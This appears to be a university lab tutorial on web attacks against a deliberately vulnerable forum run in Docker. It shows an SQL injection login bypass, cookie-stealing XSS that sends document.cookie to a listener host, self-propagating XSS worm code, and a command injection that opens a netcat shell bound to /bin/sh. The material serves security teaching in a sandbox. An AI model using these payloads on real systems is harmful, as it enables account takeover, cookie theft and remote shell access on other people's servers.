Web Attacks Tutorial
Getting started with the forum
In order to complete this lab you need to have docker installed and available on your $PATH. Run the following to start the lab. Following any steps printed by the scripts README.
git clone https://github.com/cs354/CS-354.git bash CS-354/labs/web-attack-lab.bash
You won't need this container until the 3rd and 4th parts of the lab. Just leave it minimized for now.
SQL Injection, where malicious SQL statements are run on a database, can allow a malicious user to attack the server itself. In this case, we've created a web server that will not sanitize the Username or Password fields, and can be easily manipulated into allowing administrator login.
The following SQL statement is run in order to authenticate a user:
'SELECT id FROM users where password='+hash(password)+' and username='+username+' LIMIT 1'
This selects the username and password from the accounts table on the message board where both the username and the password in the database match the username and hash of the password from the user. Limit 1 means that only 1 result at most will be returned, and the rest, if they exist, will be discarded.
Normally, characters such as quotes are stripped out of user input, but in many vulnerable servers, this is not done. So, we can arbitrarily change the above SQL statement to whatever we would like, because this server does not stop us.
Adding anything to the password is useless, because the password is md5 hashed, so that only the hashed password is stored on the database for security reasons. Theoretically, md5 hashing cannot be reversed, so the actual password is not retrievable. What this means for us is that any SQL characters we try to inject into the password will be corrupted.
However, we can alter the username field such that all results for the above statement returns true.
For a normal login, the SQL looks something like:
select username, password from users where password = hash('hunter1') and username='admin' limit 1;
But, we can set username to
' or '1' = '1 so that the result is:
select username, password from users where password = hash('hunter1') and username='`' or '1'='1`' limit 1;
The bold highlighted characters are what we have injected. Then, the where statement, instead of picking only rows that have both the username and the password matching the input, instead picks any row where the username is blank and the password matches or any row where true. This means that, since limit 1 is there, the first row will be returned.
This happens, on in our test forum, to always be the admin, and so, if we enter the above string for our username and any password, we will be logged in admin.
What can be done with this attack varies based on the usage of the SQL statement. Some search pages, for example, have vulnerabilities that allow any data in the database to be returned by using the union statement. It all depends on how the results of the query are used. In this case, the first returned result is used for authentication, and so we can get privilege escalation.
Task 1: Posting a Malicious Message to Display an Alert Window
Task 2: Posting a Malicious Mesage to Display Cookies
<script>alert(document.cookie);</script> Hello Everybody, Welcome to this message board.
When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.
Task 3: Stealing Cookies from the Victim's Machine
<img> tag with
the img tag, the browser tries to load the image from the mentioned URL and in
the process ends up sending a HTTP GET request to the attacker's website. The
If you're running on vicious replace attacker-local with vicious.cs.northwestern.edu:second_port_you_specied (it will be forwarded to port 6000 within your container on vicious).
Hello Folks, <script>document.write("<img src=http://localhost:6000?c=" + escape(document.cookie) + ">"); </script> This script is to test XSS.
Inside the container you minimized earlier create a file on your computer called
simplehttp.py that contains the following code:
import http.server import socketserver PORT = 6000 Handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", PORT), Handler) as httpd: print("serving at port", PORT) httpd.serve_forever()
Then run it with
Task 4: Writing an XSS Worm
In this task, we will steal cookies from a victim, and then forge an HTTP request using those cookies directly from the victim's browser. In order to accomplish this task, the worm program must do the following:
There are two common types of HTTP requests, one is HTTP
and the other is HTTP
POST. These two types of HTTP requests
differ in how they send the contents of the request to the server.
The request for posting a message to our forum uses HTTP
We can use the
XMLHttpRequest object to send
POST requests from web applications.
XMLHttpRequest can only send HTTP requests back to the server,
instead of other computers, because the same-origin policy
is strongly enforced for
XMLHttpRequest. This is not
an issue for us, because we only want to use
to send a forged HTTP
POST request back to the server.
To forge a forum post, we should first analyze how the forum works in terms of posting messages. More specifically, our goal is to figure out what is sent to the server when a user posts a new message. Firefox's developer tools can help us; the web console can display the contents of any HTTP message sent or received by the browser. From the contents, we can identify all the the parameters of request and response messages. Firefox developer tools (as well as equivalents on other browsers) are available through Tools -> Developer Tools. Go ahead and open up the web console, then post a new topic inside your forum, and see the requests. Find the HTTP Post request and look it over. Specifically, look for the content of the request, which contains the post title and message text. You may need to right-click to enable logging of request and response bodies in the console.
escape will be helpful here.
<script> let Ajax=null; // Construct the header information for the Http request Ajax=new XMLHttpRequest(); Ajax.open("POST","/forum",true); Ajax.setRequestHeader("Keep-Alive","300"); Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); let body = ""; Ajax.send(body); </script>
Task 5: Writing a Self-Propagating XSS Worm
The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carry the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.
In this task, you need to expand what you did in Task 5, and add a copy of the worm to the body of the forged message. The following guidelines will help you with the task:
<script class="worm">; var strCode = document.querySelector(".worm"); alert(strCode.innerHTML); <script>
All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, the copy of your worm should be encoded using the
escapefunction. An example of using the function is given below.
<script> var strSample = "Hello World"; var urlEncSample = escape(strSample); alert(urlEncSample); </script>
concatfunction in order to concatonate strings within the content of your POST.
Once you have written a self-propagating worm, show it to one of the TAs to receive credit for this portion of the lab.
While XSS allows us to steal credentials, and SQL injection allowed us to login as Administrator or perform other database queries, Shell attacks allow actual machine control.
A Shell attack is very simple and yet very dangerous for the victim. In essence, it is injecting commands into scripts that use Linux utilities. Back when Perl CGI scripts were common, they might do things like use
cat /etc/passwd or
finger to search for users on the system, for example. Or, such as in this case, they may execute
echo to write to a log file.
os.system("echo "+msg+" >> /usr/src/app/admin_log");
msg is the what you submitted on the contact form page. This simply logs your message to a file.
msg is not sanitized. Thus, we can execute arbitrary commands on the system very easily.
While on the forum, click
Contact Us and try to craft a message that runs the command
nc -l -p 4567 -e /bin/sh
Then reach out to this listener from your container with
nc web-attack-lab-local 4567
If you're working on vicious replace web-attack-lab-local with web-attack-lab-NETID.